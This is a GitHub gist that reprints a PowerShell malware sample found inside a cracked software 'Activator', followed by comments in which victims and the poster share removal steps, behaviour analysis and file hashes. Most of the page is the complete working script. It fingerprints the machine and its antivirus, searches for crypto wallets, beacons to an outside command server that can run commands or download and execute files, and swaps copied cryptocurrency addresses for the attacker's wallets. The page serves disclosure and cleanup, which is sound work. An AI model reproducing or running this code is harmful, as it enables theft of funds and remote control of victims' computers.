Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
This script was found in a malicious file not being detected by any AV as reported by virustotal
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$EndPointURL = "http://api.private-chatting.com/connect";
$__Version__ = "M_37";
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString();
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle);
function XF3a8JO3r5r8G([string] $str) {
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")
}
function WMI([string] $class, [string] $value) {
$val = $null;
$results = (Get-WmiObject -Class $class) ;
foreach ($item in $results) {
$val = $item[$value];
break;
}
if ($val -eq $null) {
$val = [Guid]::NewGuid().ToString();
}
return $val;
}
function Get-HWID() {
return (WMI 'win32_logicaldisk' "VolumeSerialNumber")
}
function ik9hXhN11R() {
return (WMI 'Win32_OperatingSystem' "Caption")
}
function P9TEtu77LCNtD() {
return (WMI 'Win32_Processor' "AddressWidth")
}
function av_enabled([uint32]$state) {
[byte[]] $bytes = [System.BitConverter]::GetBytes($state);
if (($bytes[1] -eq 0x10) -or ($bytes[1] -eq 0x11)) {
return "Enabled";
}
elseif (($bytes[1] -eq 0x00) -or ($bytes[1] -eq 0x01) -or ($bytes[1] -eq 0x20) -or ($bytes[1] -eq 0x21)) {
return "Disabled";
}
return "Unknown";
}
function TmBvivf3Wwj8U7NzZh() {
$avs = Get-WmiObject -Namespace "root\SecurityCenter" -Class "AntiVirusProduct";
$avs += Get-WmiObject -Namespace "root\SecurityCenter2" -Class "AntiVirusProduct";
$avf = New-Object Collections.Generic.List[string];
foreach ($av in $avs) {
$enabled = (av_enabled $av.productState);
$avf.Add($av.displayName + " [$enabled]")
}
return [string]::Join(", ", $avf.ToArray())
}
function vxUABGtfQ7B7([string]$str) {
if ($str.Length -eq 0) {
return "";
}
$str = $str.Replace("/", "");
return ($str.Substring(0, 1).ToUpper() + $str.Substring(1));
}
$_HWID_ = Get-HWID;
function getUserAgent {
return "$($__Version__)_$($_HWID_)\" + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "COMPUTERNAME")) + '\' + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "USERNAME")) + '\' + (vxUABGtfQ7B7 (ik9hXhN11R)) + " [" + (P9TEtu77LCNtD) + "]" + '\' + (vxUABGtfQ7B7 (TmBvivf3Wwj8U7NzZh)) + '\' + (FindPaths) + '\'
}
function oUjmVhxHJ4Qhrw($data, $notify) {
if ($OS_Major -ne "6.1") {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
$cli = New-Object System.Net.WebClient;
$useragent = getUserAgent;
$cli.Headers['X-User-Agent'] = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($useragent));
if ($notify) {
$cli.Headers['X-notify'] = $notify
}
$Response = $cli.UploadString($EndPointURL, $data);
$worker = $cli.ResponseHeaders["worker"];
if ($worker -eq "0") {
$WorkerEn.Reset() | Out-Null;
}
else {
$WorkerEn.Set() | Out-Null;
}
return $Response.ToString()
}
function DownloadFile([string]$URL, [string]$Filename) {
[string]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/599.99 (KHTML, like Gecko) Chrome/81.0.3999.199 Safari/599.99";
if ($OS_Major -ne "6.1") {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };
$ret = Invoke-WebRequest -Uri $URL -OutFile $Filename -UserAgent $UserAgent -Method 'GET'
}
else {
$cli = New-Object System.Net.WebClient;
$cli.Headers['User-Agent'] = $UserAgent;
$cli.DownloadFile($URL, $Filename);
}
}
function yQM1ybBDSjEP($url, $path, $wait) {
DownloadFile $url $path
}
function Gn4bSDMHKIxEE8UP7wZJ($quit) {
Remove-Item -Path $svauXHdYmXwV1whE;
if ($quit) {
exit(0);
}
}
function main {
$ZFKUuv2t12Af = "|V|";
$AuVAfc591z0Yw = (XF3a8JO3r5r8G "temp") + '\';
$svauXHdYmXwV1whE = $scriptItem.FullName;
$aWOPoMdm8aLL89 = $scriptItem.Name;
$EwcQB8qBuCScs = "powershell.exe";
while ($true) {
try {
[string]$kk9XDcoU8Sfo692 = oUjmVhxHJ4Qhrw;
[string[]] $sep = $ZFKUuv2t12Af;
$Fd1Jal88zKyxij = $kk9XDcoU8Sfo692.Split( $sep, [StringSplitOptions]::None);
$ivI0sA6txn5XPifq = $Fd1Jal88zKyxij[0];
$JkByjqH1xztsW2YUG = $Fd1Jal88zKyxij[1];
if ($ivI0sA6txn5XPifq -eq "Cmd") {
Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $JkByjqH1xztsW2YUG)
}
if ($ivI0sA6txn5XPifq -eq "DwnlExe") {
$path = $AuVAfc591z0Yw + $Fd1Jal88zKyxij[2];
$cmd = $Fd1Jal88zKyxij[3] + $path;
yQM1ybBDSjEP $Fd1Jal88zKyxij[1] $path $true;
Start-Sleep 1
Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $cmd)
}
if ($ivI0sA6txn5XPifq -eq "SelfRemove") {
Gn4bSDMHKIxEE8UP7wZJ $true
}
}
catch {}
try {
FindWindow
}
catch
{}
Start-Sleep 1
}
}
$pathdata =
@'
[
{
"root": "%appdata%",
"targets": [
{
"name": "Exodus-A",
"path": "Exodus"
},
{
"name": "Atomic-A",
"path": "Atomic Wallet"
},
{
"name": "Electrum-A",
"path": "Electrum"
},
{
"name": "Ledger-A",
"path": "Ledger Live"
},
{
"name": "Jaxx-A",
"path": "Jaxx Liberty"
},
{
"name": "com.liberty.jaxx-A",
"path": "com.liberty.jaxx"
},
{
"name": "Guarda-A",
"path": "Guarda"
},
{
"name": "Armory-A",
"path": "Armory"
},
{
"name": "DELTA-A",
"path": "DELTA"
},
{
"name": "TREZOR-A",
"path": "TREZOR Bridge"
},
{
"name": "Bitcoin-A",
"path": "Bitcoin"
},
{
"name": "binance-A",
"path": "binance"
}
]
},
{
"root": "%localappdata%",
"targets": [
{
"name": "Blockstream-A",
"path": "Blockstream Green"
},
{
"name": "Coinomi-A",
"path": "Coinomi"
},
{
"name": "Exodus-A",
"path": "exodus"
},
{
"name": "Docker-A",
"path": "Docker"
}
]
},
{
"root": "%localappdata%\\Google\\Chrome\\User Data\\Default\\Extensions",
"targets": [
{
"name": "Metamask-C",
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn"
},
{
"name": "MEWcx-C",
"path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm"
},
{
"name": "Coin98-C",
"path": "aeachknmefphepccionboohckonoeemg"
},
{
"name": "Binance-C",
"path": "fhbohimaelbohpjbbldcngcnapndodjp"
},
{
"name": "Jaxx-C",
"path": "cjelfplplebdjjenllpjcblmjkfcffne"
},
{
"name": "Coinbase-C",
"path": "hnfanknocfeofbddgcijnmhnfnkdnaad"
}
]
},
{
"root": "%ProgramFiles(x86)%",
"targets": [
{
"name": "Electrum-A",
"path": "Electrum"
}
]
},
{
"root": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Extensions",
"targets": [
{
"name": "Metamask-B",
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn"
}
]
},
{
"root": "%localappdata%\\Microsoft\\Edge\\User Data\\Default\\Extensions",
"targets": [
{
"name": "Metamask-E",
"path": "ejbalbakoplchlghecdalmeeeajnimhm"
}
]
},
{
"root": "%localappdata%\\Programs",
"targets": [
{
"name": "atomic-A",
"path": "atomic"
},
{
"name": "TrezorSuite-A",
"path": "Trezor Suite"
}
]
},
{
"root": "%ProgramFiles%",
"targets": [
{
"name": "Binance-A",
"path": "Binance"
},
{
"name": "BitcoinCore-A",
"path": "Bitcoin"
},
{
"name": "LedgerLive-A",
"path": "Ledger Live"
}
]
},
{
"root": "%localappdata%\\Microsoft\\Edge\\User Data\\Default\\Extensions",
"targets": [
{
"name": "Metamask-E",
"path": "ejbalbakoplchlghecdalmeeeajnimhm"
},
{
"name": "Coinomi-E",
"path": "gmcoclageakkbkbbflppkbpjcbkcfedg"
}
]
},
{
"root": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Extensions",
"targets": [
{
"name": "Metamask-B",
"path": "nkbihfbeogaeaoehlefnkodbefgpgknn"
},
{
"name": "MEWcx-B",
"path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm"
},
{
"name": "Coin98-B",
"path": "aeachknmefphepccionboohckonoeemg"
},
{
"name": "Binance-B",
"path": "fhbohimaelbohpjbbldcngcnapndodjp"
},
{
"name": "Jaxx-B",
"path": "cjelfplplebdjjenllpjcblmjkfcffne"
},
{
"name": "Coinbase-B",
"path": "hnfanknocfeofbddgcijnmhnfnkdnaad"
}
]
}
]
'@;
function FindPaths {
$a = ConvertFrom-Json $pathdata
$results = New-Object Collections.Generic.List[string];
try {
$ba = Get-ChildItem -Path "$env:appdata\Mozilla\Firefox\Profiles\*.xpi" -Recurse -Force;
Foreach ($i in $ba) {
if ($i.Name -match "ebextension@metamask.io.xpi") {
try {
[string] $ss = "metamask-F"
$results.Add($ss)
}
catch {
Write-Host "error"
}
}
}
}
catch {}
foreach ($entry in $a) {
$rootdir = [System.Environment]::ExpandEnvironmentVariables($entry.root);
foreach ($target in $entry.targets) {
if ((Test-Path -Path (Join-Path -Path $rootdir -ChildPath $target.path))) {
$results.Add($target.name)
}
}
}
$ret = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]::Join("`n", $results)));
return $ret;
}
function FindWindow {
$keywords = @('binance', 'coinbase', 'blockchain', 'voyager', 'blockfi', 'coindesk', 'etoro', 'kucoin', 'citi', 'paxful', 'paypal', 'huobi', 'poloniex', 'bittrex', 'kraken', 'bitfinex', 'bitstamp')
$windows = (Get-Process | Where-Object { $_.MainWindowTitle -ne "" } | Select-Object MainWindowTitle)
foreach ($wndobj in $windows) {
[string]$wnd = $wndobj.MainWindowTitle;
foreach ($keyword in $keywords) {
if ($wnd.ToLower().Contains($keyword.ToLower())) {
try {
$contentfile = [System.IO.File]::ReadAllText("%SystemDrive%\Users\Public\log.dat").ToLower().replace(' ', '');
$logsend = 'newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]").ToLower().replace(' ', '');
if ( $contentfile -eq $keyword.ToLower().replace(' ', '') ) {
$gtr = "";
}
else {
$datatowrite = ('newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]")).ToLower().replace(' ', '');
[System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat", $keyword.ToLower().replace(' ', '') );
log_event 'newnewapp' ($keyword.ToLower() + "[" + $wnd.ToLower() + "]");
}
}
catch {
[System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat", $keyword.ToLower().replace(' ', '') );
}
}
}
}
}
$job1 = Start-Job -ArgumentList $EndPointURL, (getUserAgent), $WorkerEnHandle -ScriptBlock {
param (
[string]
$EndPointURL,
[string]
$UserAgent,
[string]
$WorkerEnHandle
)
[System.Threading.EventWaitHandle]$WorkerEn = $null;
if ([System.Threading.EventWaitHandle]::TryOpenExisting($WorkerEnHandle, [ref]$WorkerEn) -eq $false) {
$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset);
}
[System.Environment]::CurrentDirectory = $PWD.Path;
#Add-Type -TypeDefinition ([System.IO.File]::ReadAllText('User32.cs'))
$Framework_Arch = '';
if([System.IntPtr]::Size -eq 8)
{
$Framework_Arch = '64';
}
Add-Type -Path "$env:windir\Microsoft.NET\Framework$Framework_Arch\v4.0.30319\System.Runtime.dll";
Add-Type -Path "$env:windir\Microsoft.NET\Framework$Framework_Arch\v4.0.30319\System.Runtime.InteropServices.dll";
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class User32
{
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern ushort RegisterClassEx(ref WNDCLASSEX lpwcx);
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr CreateWindowEx(UInt32 dwExStyle, IntPtr lpClassName, string lpWindowName, UInt32 dwStyle,
Int32 x, Int32 y, Int32 nWidth, Int32 nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam);
[DllImport("user32.dll")]
public static extern int GetMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax);
[DllImport("user32.dll")]
public static extern bool TranslateMessage([In] ref MSG lpMsg);
[DllImport("user32.dll")]
public static extern IntPtr DispatchMessage([In] ref MSG lpmsg);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool AddClipboardFormatListener(IntPtr hwnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool RemoveClipboardFormatListener(IntPtr hwnd);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct WNDCLASSEX
{
[MarshalAs(UnmanagedType.U4)]
public int cbSize;
[MarshalAs(UnmanagedType.U4)]
public int style;
public WNDPROC lpfnWndProc; // not WndProc
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
public string lpszMenuName;
public string lpszClassName;
public IntPtr hIconSm;
//Use this function to make a new one with cbSize already filled in.
//For example:
//var WndClss = WNDCLASSEX.Build()
public static WNDCLASSEX Build()
{
var nw = new WNDCLASSEX();
nw.cbSize = Marshal.SizeOf(typeof(WNDCLASSEX));
return nw;
}
}
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr DefWindowProcW(IntPtr hWnd, UInt32 msg, UIntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool OpenClipboard(IntPtr hWndNewOwner);
[DllImport("user32.dll")]
public static extern IntPtr GetClipboardData(uint uFormat);
[DllImport("user32.dll")]
public static extern IntPtr SetClipboardData(uint uFormat, IntPtr hMem);
[DllImport("user32.dll")]
public static extern bool EmptyClipboard();
[DllImport("kernel32.dll")]
public static extern IntPtr GlobalLock(IntPtr hMem);
[DllImport("kernel32.dll")]
public static extern bool GlobalUnlock(IntPtr hMem);
[DllImport("kernel32.dll")]
public static extern IntPtr GlobalAlloc(uint uFlags, UIntPtr dwBytes);
[DllImport("kernel32.dll")]
public static extern IntPtr GlobalFree(IntPtr hMem);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool CloseClipboard();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr WNDPROC(IntPtr hWnd, uint msg, UIntPtr wParam, IntPtr lParam);
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public int X;
public int Y;
}
[StructLayout(LayoutKind.Sequential)]
public struct MSG
{
public IntPtr hwnd;
public uint message;
public UIntPtr wParam;
public IntPtr lParam;
public uint time;
public POINT pt;
public uint lPrivate;
}
}
"@
$address_book = ConvertFrom-Json @"
[
{
"a": "bc1qn6ype8u5kgj672mvsez9wz9wt9wk22tzd5vprp",
"r": "^bc1[a-z0-9]{39,59}$",
"c": "BTC"
},
{
"a": "1Pqkb4MZwKzgSNkaX32wMwg95D9NfW9vZX",
"r": "^1[a-km-zA-HJ-NP-Z1-9]{26,33}$",
"c": "BTC"
},
{
"a": "3JvBvRuBfYvB6MjzMornj9EQpxhq9W7vXP",
"r": "^3[a-km-zA-HJ-NP-Z1-9]{26,33}$",
"c": "BTC"
},
{
"a": "qq9yrhef7csy3yzgxgs0rvkvez440mk53gv8ulyu6a",
"r": "^((bitcoincash|bchreg|bchtest):)?(q|p)[a-z0-9]{41}$",
"c": "BCH"
},
{
"a": "bnb1vmwl54jxj9yvsgz33xtyuvqnurdjy2raqnttkq",
"r": "^(bnb)([a-z0-9]{39})$",
"c": "BNB"
},
{
"a": "0x884467182849bA788ba89300e176ebe11624C882",
"r": "^0x[a-fA-F0-9]{40}$",
"c": "ETH"
},
{
"a": "48qx1krgEGzdcSacbmZdioNwXxW6r43yFSJDKPWZb3wsK9pYhajHNyE5FujWo1NxVwEBvGebS7biW9mjMEWdMevqMGmDJ6x",
"r": "^[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93}$",
"c": "XMR"
},
{
"a": "rH6dyKWNpcvFz6fQ4ohyDbevSxcxdxfSmz",
"r": "^r[rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz]{24,34}$",
"c": "XRP"
},
{
"a": "DDxhfK5wbJkRN25mAbBYk3ND4xLjiMRyNq",
"r": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
"c": "DOGE"
},
{
"a": "Xtwj8uGx77NYBUki1UCPvEhe4kHYi6yWng",
"r": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
"c": "DASH"
}
]
"@;
function Set-Clip {
param (
[string]
$text
)
if ($text -eq $null) {
$text = "";
}
$text += [char]0;
[byte[]]$textb = [System.Text.Encoding]::Unicode.GetBytes($text);
$hMem = [User32]::GlobalAlloc(0x0002, [UIntPtr]::new($textb.Length));
if ($hMem -ne 0) {
$tmp = [User32]::GlobalLock($hMem);
if ($tmp -ne 0) {
[System.Runtime.InteropServices.Marshal]::Copy($textb, 0, $tmp, $textb.Length) | Out-Null;
[User32]::GlobalUnlock($hMem) | Out-Null;
[User32]::OpenClipboard([System.IntPtr]::Zero) | Out-Null;
[User32]::EmptyClipboard() | Out-Null; ;
[User32]::SetClipboardData(13, $hMem) | Out-Null;
[User32]::CloseClipboard() | Out-Null;
return;
}
[User32]::GlobalFree($hMem) | Out-Null;
}
}
function Get-Clip {
[string]$text = $null;
if ([User32]::OpenClipboard([System.IntPtr]::Zero) -ne 0) {
$hMem = [User32]::GetClipboardData(13);
if ($hMem -ne 0) {
$tmp = [User32]::GlobalLock($hMem);
if ($tmp -ne 0) {
$text = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($hMem);
[User32]::GlobalUnlock($hMem) | Out-Null;
}
}
[User32]::CloseClipboard() | Out-Null;
}
return $text;
}
function Set-Log([string]$log) {
$cli = New-Object System.Net.WebClient;
$cli.Headers['X-User-Agent'] = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($UserAgent));
$cli.Headers['X-notify'] = $log;
$cli.UploadString($EndPointURL, '') | Out-Null;
}
function Handle_WM_CLIPBOARDUPDATE {
try {
if ($WorkerEn.WaitOne(0) -eq $false) {
return;
}
}
catch {
}
try {
[string]$text = Get-Clip;
if ([string]::IsNullOrEmpty($text)) {
return;
}
$text = $text.Trim();
foreach ($entry in $address_book) {
if (($text -ne $entry.a) -and ($text -match $entry.r)) {
Set-Clip $entry.a
Set-Log ($entry.c + " - " + $text + " - " + $entry.a)
}
}
}
catch {
}
}
$wndProc = [User32+WndProc] {
param (
[IntPtr]
$hwnd,
[uint32]
$msg,
[System.UIntPtr]
$wParam,
[IntPtr]
$lParam
)
return [User32]::DefWindowProcW($hwnd, $msg, $wParam, $lParam);
}
$wx = [User32+WNDCLASSEX]::Build();
$wx.lpfnWndProc = $wndProc;
$wx.hInstance = [IntPtr]::Zero;
$wx.lpszClassName = [Guid]::NewGuid().ToString();
[uint16]$atom = [User32]::RegisterClassEx([ref]$wx);
[IntPtr]$hwnd = [User32]::CreateWindowEx(0, [IntPtr]::new($atom), [Guid]::NewGuid().ToString(), 0, 0, 0, 0, 0, [IntPtr]::new(-3), [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);
[User32]::AddClipboardFormatListener($hwnd) | Out-Null;
$msg = [User32+MSG]::new()
while ([User32]::GetMessage([ref]$msg, 0, 0, 0) -gt 0) {
if ($msg.message -eq 0x031D) {
Handle_WM_CLIPBOARDUPDATE;
}
[User32]::TranslateMessage([ref]$msg) | Out-Null;
[User32]::DispatchMessage([ref]$msg) | Out-Null;
}
[User32]::RemoveClipboardFormatListener($hwnd) | Out-Null;
}
while ($true) {
try {
main
}
catch {
}
}
@NextNext333
Copy link

Hi there.

I'm pretty sure my PC is infected by this PowerShell script, probably after running the following alleged patch named Team-crackerfg - Activator:

Patch BackupTrans

Do you know @infernoboy how I can get rid of this crappy thing? It keeps running 2 powershell.exe processes at Windows startup that I kill as fast as I can every time I switch on my computer. Hopefully, the script isn't being able to send info outside my PC because my ESET Antivirus is set in interactive mode and whenever a new incoming or outgoing connection is detected, it prompts me whether I want to allow them or not.

So when I saw the target URL being http://api.private-chatting.com/connect, it seemed to me very suspicious and I blocked it. So I think I'm safe but I want to remove this malware completely, of course, something I haven't managed so far.

Digging into the Windows Event Viewer, I've seen that at starup, some Powershell events occur (I've also generated a .evtx file which I can attach if necessary):

[BTW, Detalles de ejecución de la canalización means Pipeline execution details]

Event Viewer 1
Event Viewer 1XML

Event Viewer 2
Event Viewer 2XML

Event Viewer 3
Event Viewer 3XML

Hope you can help me. Thank you in advance.

@infernoboy
Copy link
Author

infernoboy commented Apr 21, 2022

How to remove this malware

  1. Open Task Scheduler
  2. A task was created under Microsoft > Windows > NetService > Network that is spawning PowerShell
  3. You can safely delete the entire NetService folder as it was also created by the malware
  4. Delete a fake log file that it created where it hides the script: C:\Windows\logs\system-logs.txt
  5. It also replaces the contents of C:\Windows\System32\SyncAppvPublishingServer.vbs with its own version. A copy from a clean install of Windows 11 can be found here: https://gist.github.com/infernoboy/7cc1fe26e647dd08e6e63a201cb38e27

That should be all. As for the app you were patching to begin with, in my case it isn't doing anything harmful and runs just fine.

What the malware appears to do

It monitors your clipboard looking for a cryptocurrency address. Once it finds one, it replaces it with its own address in the hopes you do not notice when you paste it. You'd be sending crypto to the malware writer's address if you don't. It also pings a server with some computer identifying information and the original address you wanted to send to. It doesn't look like any personal data is transmitted. I believe that's all it does, so it's not the most harmful thing. The addresses that the malware uses have made over $3m USD!

@NextNext333

@jblube
Copy link

jblube commented Apr 21, 2022

Thanks @infernoboy , for me it worked great.

Unfortunately, I couldn't find the application/crack responsible for this, even looking very deep.

@uselesslemma
Copy link

@infernoboy saving my life here. I pasted a BTC address that I immediately recognized as not the one I copied. Opened my clipboard manager, and sure enough, a hidden Powershell process replaced the address I copied.

@jblube @NextNext333 : I found the alleged patch here. Uploaded by some PB user called MotasemBT. I'll upload those files soon.

@NextNext333
Copy link

NextNext333 commented Apr 22, 2022

How to remove this malware

1. Open **Task Scheduler**

2. A task was created under **Microsoft > Windows > NetService > Network** that is spawning PowerShell

3. You can safely delete the entire **NetService** folder as it was also created by the malware

4. Delete a fake log file that it created where it hides the script: **C:\Windows\logs\system-logs.txt**

5. It also replaces the contents of **C:\Windows\System32\SyncAppvPublishingServer.vbs** with its own version. A copy from a clean install of Windows 11 can be found here: https://gist.github.com/infernoboy/7cc1fe26e647dd08e6e63a201cb38e27

OMG @infernoboy, brilliant, you are not a boy, YOU ARE THE MAN! Hahaha Thank you soooo much! No more powershell processes running in the background. 👏👏👏👏

Before my first message here, I was looking into the Task Scheduler as well, but I didn't find anything related to this malware, because, I know now, I was looking at the wrong place. I even downloaded Windows Autoruns.exe to check all the programs being executed at startup, but to no avail.

I've just removed the whole NetService folder and the fake log too. Regarding SyncAppvPublishingServer.vbs file, I'm running Windows 10 Pro, and the file you provided was extracted from a Windows 11 clean install, as you stated. As I wasn't sure I could use that file in Windows 10 Pro, what I've done is I've extracted it from a Windows 10 installation from another PC. However, I've compared the MD5 checksum of both files (the one allegedly infected and the one extracted from a Windows 10 Pro not infected) and it matches: 20C4FE2B130D9F0C92D7629E71AFBB66 (and googling that MD5 checksum it belongs to that file, so it must be legit).

So I'm assuming the file is OK. I must say yesterday I performed an integrity check scan with the command: sfc /scannow and it detected some corrupted files and repaired them, so that could be the reason for the MD5 match.

EDIT: I've just compared the code inside my SyncAppvPublishingServer.vbs and the code inside yours and they are exactly the same. 👍

That should be all. As for the app you were patching to begin with, in my case it isn't doing anything harmful and runs just fine.

So what you mean is the Team-crackerfg - Activator is not the problem?

What the malware appears to do

It monitors your clipboard looking for a cryptocurrency address. Once it finds one, it replaces it with its own address in the hopes you do not notice when you paste it. You'd be sending crypto to the malware writer's address if you don't. It also pings a server with some computer identifying information and the original address you wanted to send to. It doesn't look like any personal data is transmitted. I believe that's all it does, so it's not the most harmful thing. The addresses that the malware uses have made over $3m USD!

@NextNext333

Wow... Scammers are getting more and more ingenious these days.

Thanks @infernoboy , for me it worked great.

Unfortunately, I couldn't find the application/crack responsible for this, even looking very deep.

@infernoboy saving my life here. I pasted a BTC address that I immediately recognized as not the one I copied. Opened my clipboard manager, and sure enough, a hidden Powershell process replaced the address I copied.

@jblube @NextNext333 : I found the alleged patch here. Uploaded by some PB user called MotasemBT. I'll upload those files soon.

@jblube @uselesslemma I'm 100% sure this malware was installed when I was trying (installing and cracking) some programs which can migrate WhatsApp messages from iPhone to Android and vice versa. So it must be Wondershare Dr.Fone, iCareFone or Backuptrans, or more importantly, cracks packaged alongside them. In fact, I downloaded BackupTrans Android iPhone WhatsApp Transfer Plus 3.2.174 (x64) which was uploaded by someone called MotasemBT, you are right @uselesslemma. It's not a VIP or trusted uploader, so...

@infernoboy
Copy link
Author

@NextNext333 The "Activator" patcher itself is what installs the malware, but it also installs a patched *.exe of the target app. That *.exe file for the app you patched might be safe, as mine is, but I cannot be sure about your specific scenario.

I discovered this from a different torrent utilizing the same "Team-crackercfg - Activator" program, but for a different app. It was uploaded by "DeGun" on 1337x.to

I also noticed that SyncAppvPublishingServer.vbs wasn't actually changed, but I did receive a report that it had been tampered with. Maybe it was just making sure it was there?

Glad I could help everyone out!

@NextNext333
Copy link

@NextNext333 The "Activator" patcher itself is what installs the malware, but it also installs a patched *.exe of the target app. That *.exe file for the app you patched might be safe, as mine is, but I cannot be sure about your specific scenario.

I discovered this from a different torrent utilizing the same "Team-crackercfg - Activator" program, but for a different app. It was uploaded by "DeGun" on 1337x.to

I also noticed that SyncAppvPublishingServer.vbs wasn't actually changed, but I did receive a report that it had been tampered with. Maybe it was just making sure it was there?

Glad I could help everyone out!

@infernoboy Hummm, it could be the case, the Activator might actually patch succesfully the target app but I can't confirm it in my case, as I removed everything related to this malware when I noticed the suspicious outgoing connection Eset Antivirus warned me about.

But what I can assure is the target app, after applying the patch, remained trial, or at least that's what I could read in the app (Unregistered Version the app stated), perhaps the app was, in fact, cracked, even though that statement, I don't know because I didn't even use it.

Info about the app I was trying to use:

=== MD5 from BackupTrans Android iPhone WhatsApp Transfer Plus 3.2.174 (x64) [TPB User MotasemBT] ===

Setup.exe > 519AF1A8BCE11012D326251B74651823
Activator.exe > A13E8E1338541990F4961CD187391504
APMonUI.dll > 5B59408EE5B54BCE63E5415C71B8AA44

=== MD5 from BackupTrans Android iPhone WhatsApp Transfer Plus 3.2.174 (x64) [1337x.to User PROAC12] ===

Setup.exe > 519AF1A8BCE11012D326251B74651823
Activator.exe > A13E8E1338541990F4961CD187391504
APMonUI.dll > 5B59408EE5B54BCE63E5415C71B8AA44

=== MD5 from BackupTrans Android iPhone WhatsApp Transfer Plus 3.2.173 (x64) [1337x.to User DeGun] ===

Setup.exe > 4E89C5EDC12AE37DC28F8ED5A7DB8859
Activator.exe > B8476084B38A63475C249F64FAC74EAE
APMonUI.dll > 5B59408EE5B54BCE63E5415C71B8AA44

APMonUI.dll is always the same file. Setup.exe and Activator.exe are different for the 3.2.173 version, as expected as the app version is different.

@JeffreyScheffel
Copy link

Thanks for this, it worked.

The code in my script was a bit different though. Most of it being the same, I attached it incase anyone wants to take a look. I'm just wondering if this is something worth reformatting OS over as I don't know if there's other malware this script has downloaded, or if just following @infernoboy instructions is good enough.

$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
if ($sta -ne "STA") {
    powershell -sta -file $MyInvocation.MyCommand.Path;
    exit(0);
}
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();

$global:worker = $true;

function XF3a8JO3r5r8G([string] $str) {
    return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")
}

function WMI([string] $class, [string] $value) {
    $val = $null;
    $results = (Get-WmiObject -Class $class) ;
    foreach ($item in $results) {
        $val = $item[$value];
		break;
    }
	if($val -eq $null)
	{
	   $val = [Guid]::NewGuid().ToString();
	}
    return $val;
}
function B6ZqvVzzJXq27j() {
    return (WMI 'win32_logicaldisk' "VolumeSerialNumber") 
}

function ik9hXhN11R() {
    return (WMI 'Win32_OperatingSystem' "Caption") 
}

function P9TEtu77LCNtD() {
    return (WMI 'Win32_Processor' "AddressWidth") 
}

function av_enabled([uint32]$state) {
    [byte[]] $bytes = [System.BitConverter]::GetBytes($state);
    if (($bytes[1] -eq 0x10) -or ($bytes[1] -eq 0x11)) {
        return "Enabled";
    }
    elseif (($bytes[1] -eq 0x00) -or ($bytes[1] -eq 0x01) -or ($bytes[1] -eq 0x20) -or ($bytes[1] -eq 0x21)) {
        return "Disabled";
    }
    return "Unknown";
}

function TmBvivf3Wwj8U7NzZh() {

    $avs = Get-WmiObject -Namespace "root\SecurityCenter" -Class "AntiVirusProduct";
    $avs += Get-WmiObject -Namespace "root\SecurityCenter2" -Class "AntiVirusProduct";
    $avf = New-Object Collections.Generic.List[string];

    foreach ($av in $avs) {
        $enabled = (av_enabled $av.productState);
        $avf.Add($av.displayName + " [$enabled]")
    }

    return [string]::Join(", ", $avf.ToArray())
}

